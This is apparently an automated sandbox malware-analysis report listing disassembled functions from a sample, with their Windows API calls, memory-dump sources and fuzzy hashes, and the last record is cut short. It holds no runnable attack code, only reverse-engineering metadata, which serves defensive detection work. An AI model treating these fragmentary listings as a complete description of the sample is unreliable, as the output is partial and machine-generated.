Instruction Fuzzy Hash: 55C1007050064A8FCB29CF28C4956BEBFF1BF47310F644A59D5669B791C732AC45CBA0

Function 005BC6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 005B4EB1: GetLastError.KERNEL32(?,00000008,005B9482), ref: 005B4EB5
Part of subcall function 005B4EB1: SetLastError.KERNEL32(00000000,005CC480,00000024,005B0419), ref: 005B4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 005BC73F

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: ce31b02a4529374b9e7b0f8d5e1642626040e125134cb8ed53ccd59520b5604f
Instruction ID: 55e828b556e1eb2194c64a31afe471effbf5928c5fad6091bf85f7231e3b449d
Opcode Fuzzy Hash: ce31b02a4529374b9e7b0f8d5e1642626040e125134cb8ed53ccd59520b5604f
Instruction Fuzzy Hash: 93217F32611206ABEB289F25DC86AFA7FA8FF44310B10007EF905D6241EB74FD458E98

Function 005BC372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B4EB1: GetLastError.KERNEL32(?,00000008,005B9482), ref: 005B4EB5
Part of subcall function 005B4EB1: SetLastError.KERNEL32(00000000,005CC480,00000024,005B0419), ref: 005B4F57

EnumSystemLocalesW.KERNEL32(005BC498,00000001,00000000,?,-00000050,?,005BCAC9,00000000,?,?,?,00000055,?), ref: 005BC3E4

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0a55915eb2492fc8c52be485361b27b0efb356a8ea19f8aa3196bd063840bd31
Instruction ID: 9c111b6aebaebd07ddb567255d0b315b2fe9146d4d6dec72615e26796bb70b3f
Opcode Fuzzy Hash: 0a55915eb2492fc8c52be485361b27b0efb356a8ea19f8aa3196bd063840bd31
Instruction Fuzzy Hash: B71125372007055FDB189F38D8A16BABFA1FF80369B58882CE98787B40D371B942CB50

Function 005BC91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 005B4EB1: GetLastError.KERNEL32(?,00000008,005B9482), ref: 005B4EB5
Part of subcall function 005B4EB1: SetLastError.KERNEL32(00000000,005CC480,00000024,005B0419), ref: 005B4F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,005BC6B4,00000000,00000000,?), ref: 005BC946

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 707520c45b16f6cda653354e83e8d43dcd2c71b459f09cd401eb187824f152df
Instruction ID: 924f438db48b834ffb93c1eedf2a09614fd42bed17eab419f41ab442b1e56608
Opcode Fuzzy Hash: 707520c45b16f6cda653354e83e8d43dcd2c71b459f09cd401eb187824f152df
Instruction Fuzzy Hash: 63F0A433600116BBEB289B658849BFABF68FB40B94F154429ED46A3180EA74FE41C6D4

Function 005BC40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B4EB1: GetLastError.KERNEL32(?,00000008,005B9482), ref: 005B4EB5
Part of subcall function 005B4EB1: SetLastError.KERNEL32(00000000,005CC480,00000024,005B0419), ref: 005B4F57

EnumSystemLocalesW.KERNEL32(005BC6EB,00000001,?,?,-00000050,?,005BCA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 005BC457

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ba16b2010f2d2a9dc513bf9a73e0804287160d30f692c9a8d31892b7a2140987
Instruction ID: 3a54e8920a85ddd5b724d2e4adf09f8692543a30051873b84df475837d65cf01
Opcode Fuzzy Hash: ba16b2010f2d2a9dc513bf9a73e0804287160d30f692c9a8d31892b7a2140987
Instruction Fuzzy Hash: 26F046323003045FDB245F78DC95ABA7F90FF80768F04806CF9468B690C671BD02CA04

Function 005B5D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005ADDC1: EnterCriticalSection.KERNEL32(?,?,005B4B89,?,005CC2E0,00000008,005B4D4D,?,005AC446,?), ref: 005ADDD0

EnumSystemLocalesW.KERNEL32(005B5D72,00000001,005CC3A0,0000000C,005B6127,00000000), ref: 005B5DB7

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 5489c095f65b1ec3d80bf8aca9745a1fca60c8229eb05d186dab5034e8d34242
Instruction ID: a084686e28077bb88194fc62d15f94bcff77014beb201c7ff32a78734188b7df
Opcode Fuzzy Hash: 5489c095f65b1ec3d80bf8aca9745a1fca60c8229eb05d186dab5034e8d34242
Instruction Fuzzy Hash: 30F04972A00649EFD700EFA8E84AB9D7FF0FB89721F10412AF405EB2A0E7755904DB94

Function 005BC327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005B4EB1: GetLastError.KERNEL32(?,00000008,005B9482), ref: 005B4EB5
Part of subcall function 005B4EB1: SetLastError.KERNEL32(00000000,005CC480,00000024,005B0419), ref: 005B4F57

EnumSystemLocalesW.KERNEL32(005BC280,00000001,?,?,?,005BCAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005BC35E

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: e8c42f25285d04b29be24270219a258585f7c9e8753aef6edebd7c1972c6d726
Instruction ID: f3934e623a6c239c1ddabf93634325565410962738c43d784c7bdefc091cb108
Opcode Fuzzy Hash: e8c42f25285d04b29be24270219a258585f7c9e8753aef6edebd7c1972c6d726
Instruction Fuzzy Hash: D8F0553A30020557CB149F39D849ABABFD4FFC1B20B068058EA098B290C231A846C794

Function 005A7AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,005A6DC9), ref: 005A7AB4

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ca1f422f82416ff10a07a0106db20f10634c84b9a68e9aa3f926c2c640c7e698
Instruction ID: ad4255c00b91331b3236ccf4cb8621a43b798d53b3891adc9bf13f98803ce172
Opcode Fuzzy Hash: ca1f422f82416ff10a07a0106db20f10634c84b9a68e9aa3f926c2c640c7e698
Instruction Fuzzy Hash:

Function 005A1D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 005A1E9B

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: 373e0a7d20d9d1cf65bb15a2ee4cd9fa62f051ccee5f7d2045c3d13275221b34
Instruction ID: 670c860a47fad5fb9512ca4a9fc75ac515e4520542507e027c486e5fc17c8812
Opcode Fuzzy Hash: 373e0a7d20d9d1cf65bb15a2ee4cd9fa62f051ccee5f7d2045c3d13275221b34
Instruction Fuzzy Hash: 5D41EA76E2052B5BCB4CEEB888561AFBFA9F756360F04427ADD11DB3D1E2348A01C6D4

Function 005BCC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 005BCC4B

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 375efafa0333a349faeb7dfaa976df57cc694a3b13e4afcdabc2c769b5f7838d
Instruction ID: 7b6ebdfdb1e28444469a4dbc2aaf3c4e556d28a8e3ff2bb7e7538b389bbdd759
Opcode Fuzzy Hash: 375efafa0333a349faeb7dfaa976df57cc694a3b13e4afcdabc2c769b5f7838d
Instruction Fuzzy Hash: 01A011302022008F8B008F3AAE0AA883BA8AA28280308C0AAA000C0020EA208088BF00

Function 005CF2D8 Relevance: .6, Instructions: 586COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b94680ed0a419b7da44425a7afb5e19a784c8d025a724ec0ed39c10ebb359507
Instruction ID: a53f7189372de7451b811a9acd2121c645a4e8ca2f1148fc28caa2e5f02b68d8
Opcode Fuzzy Hash: b94680ed0a419b7da44425a7afb5e19a784c8d025a724ec0ed39c10ebb359507
Instruction Fuzzy Hash: 6A22AC71A002599FDB24DB64CD8CBADBBB5BF84304F1042EEE449A7290DB74AA84CF55

Function 005BBB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 81876a978f0547e5e5d34a269997824959aaf2fa1288632713c8644900bc185f
Instruction ID: 45327a855196aef292919d158e5fe47314e59bc7d808d9bc79387c8fb764a83b
Opcode Fuzzy Hash: 81876a978f0547e5e5d34a269997824959aaf2fa1288632713c8644900bc185f
Instruction Fuzzy Hash: 25B1C2755007068BEB389B25CC96BF6BBA8FF44308F54452DEA8786580EBF5F985CB10

Function 005D3AD3 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3257ae23ef72338318ad31e711135d886c86a2fbf455ccf25383848b0e6421
Instruction ID: 3776f712437e74511a89d4545d8d40323b90ca06e55dd801892fb91c89acbe20
Opcode Fuzzy Hash: be3257ae23ef72338318ad31e711135d886c86a2fbf455ccf25383848b0e6421
Instruction Fuzzy Hash: BA515AB1A252158BEB24CF58DA957AEBBF4FB84350F24842BD441FB360D3749A40CF95

Function 005BA64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: 89beb2f049a00c12ee5939d2b8e0b687ef81caf378ef7522f2e45a66844f2cb1
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: BAE08C72921238EBCB16DF9CC90898AF7ECFB84B00B150496B911D3210C270EE00C7D0

Function 005A2003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8ba872fa2d1ac2c309898d6371eb50d7d71628b0b94823bba899fa970755e96
Instruction ID: 19a2b72b884c920921bca4d814cbf9f6df0eb0f1cb2babdc09a93bcf1ce0bf70
Opcode Fuzzy Hash: d8ba872fa2d1ac2c309898d6371eb50d7d71628b0b94823bba899fa970755e96
Instruction Fuzzy Hash: 2CD0927A602A109FC221CF09E440941F7B4FB996307164056E90493720C330FC41CAD0

Function 005B0F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: f9b8b2a6df07dcf1f8cd80364e74bff31fd95fc7f0f617e77521d5c722b1798d
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: 86C08C7420090086DE39892082713FA3755B7E2782F8424CCDC1B0B782C91EBC82DA01

Function 005A53B1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 005A53B8
std::_Lockit::_Lockit.LIBCPMT ref: 005A53C2
int.LIBCPMT ref: 005A53D9

Part of subcall function 005A16B4: std::_Lockit::_Lockit.LIBCPMT ref: 005A16C5
Part of subcall function 005A16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 005A16DF

std::_Facet_Register.LIBCPMT ref: 005A5413
std::_Lockit::~_Lockit.LIBCPMT ref: 005A5433
Concurrency::cancel_current_task.LIBCPMT ref: 005A5440

Strings

R[Z, xrefs: 005A5420

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID: R[Z
API String ID: 55977855-1116217273
Opcode ID: 10cedfc00eb767d50ecef8c4758ac39af1e7ae4904a6ad7ff48d069433019645
Instruction ID: 3900580fc4cc0c795711a235cbe03ed4faaca87ce197b6b434f971cbfbc50629
Opcode Fuzzy Hash: 10cedfc00eb767d50ecef8c4758ac39af1e7ae4904a6ad7ff48d069433019645
Instruction Fuzzy Hash: 1D11D571910A169FCB14EB68C809BAE7FF4BF9A320F14040EE4019B291EF70AE40CB94

Function 005AA5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 005AA6E7
___TypeMatch.LIBVCRUNTIME ref: 005AA7F5
CallUnexpected.LIBVCRUNTIME ref: 005AA962

Strings

csm, xrefs: 005AA672
csm, xrefs: 005AA605
csm, xrefs: 005AA71E

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: d34a4df717b966749577f7d8ce3f6c8587223be31c1655f8f6914831029917c3
Instruction ID: 1f8a88668a4cdf3491d7d07498a10750ebb1cef8c78cadc4580ebe01e70b5a5b
Opcode Fuzzy Hash: d34a4df717b966749577f7d8ce3f6c8587223be31c1655f8f6914831029917c3
Instruction Fuzzy Hash: 05B1697180020AEFCF25DFA4C8859AEBFB5FF96310B14456AE8116B212D735DA52CF92

Function 005B5F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,4C560F1E,?,005B6057,005AC446,?,F8250000,00000000), ref: 005B600B

Strings

api-ms-, xrefs: 005B5FA1
ext-ms-, xrefs: 005B5FB5

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 2d23c62fe8ded3469c4b2391a8c506420691168baa3e03c9382b77466f1d9a19
Instruction ID: 51b17e242793eafeb262d71601850c152872ef5922ea1baabf180198bab55a47
